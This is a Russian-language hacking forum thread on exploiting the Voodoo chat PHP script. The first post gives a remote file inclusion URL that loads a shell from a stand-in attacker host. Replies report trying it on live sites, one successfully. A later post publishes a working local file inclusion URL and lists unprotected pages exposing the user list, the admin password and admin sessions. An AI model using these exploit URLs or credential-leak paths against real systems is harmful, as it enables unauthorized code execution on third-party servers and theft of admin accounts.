![]() |
PHP-инклюдинг в Voodoo chat
Программа: Voodoo chat 1.0RC1b и предыдущих
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "file_path" в сценарии index.php. Пример: http://sitename.com/[ScriptPath]/index.php?file_path=http://SHELLURL.COM? |
Мдаа... Жаль что в новых версиях не пашет
|
гг я тож увидел.Думал дожили...Ппробовал на одном, неспахало
|
В одном получилось) Молодец кловер.
|
if (!in_array($user_lang, $allowed_langs)) $user_lang = $language;
else include_once($file_path.\"languages/\".$language.\".php\"); и где тут инклуд?:)Чет не совсем понял:) |
чето я таких версий чата найти не могу!
|
форевер777, а зачем тебе их искать? Вред, незнакомому тебе, чату хочешь причинить? Не надо быть злоумышленником :-)
|
Динар, без флейма. Сам ведь модер, понимать должен.
|
Начица раздупляю ситуасьён. Не знаю как там в предыдущих версиях (мож кто поделится сорцами?) но на данный момент мы имеем следующее:
---------------------------- файл <host>/chat/index.php <?php require_once("inc_common.php"); ---------------------------- <host>/chat/inc_common.php if (!($conf_content = implode("",file($data_path."voc.conf")))) { trigger_error("1000\tCannot open voc.conf file, please check your DATA PATH parameter",E_USER_ERROR); } eval($conf_content); ---------------------------- и наконец в <host>/data/voc.conf имеем $file_path = "<host>/chat/"; ---------------------------- такие пироги. пороюсь еще по остальным пхп завтра. |
Итак, прадолжим. Бегло просотрел пхп-хи в <host>/chat/ - подкопаться сложно. Вощем надоело и я решил пойти другим путем. И таки имеем локальный инклуд (в текущей самой новой версии) .
Уязвимость находится в файле <host>/chat/welcome.php : Код:
require_once("inc_common.php");<host>/chat/welcome.php?allowed_langs[0]=&allowed_langs[1]=&allowed_langs[2]=../welcome&user_lang=../welcome Инклудим саму себя - чисто для примера. Ну и register_globals = on разумеется чтобы заработало. %00 - ессесно не катит потому что в inc_common.php в функции set_variable() присутсвует $$variable_name = str_replace("\0","", $$variable_name); Поэтому думаю больше тут сделать ничего низя. Ну и в заключение пару небольших фич: - получить список всех зарегеных юзеров <host>/chat/photos/renamer.php - позырить пароль админа здесь: <host>/chat/admin/admin_users.php - сессию админа здесь : <host>/chat/admin/sessions.php На этом у меня все. |
| Время: 17:07 |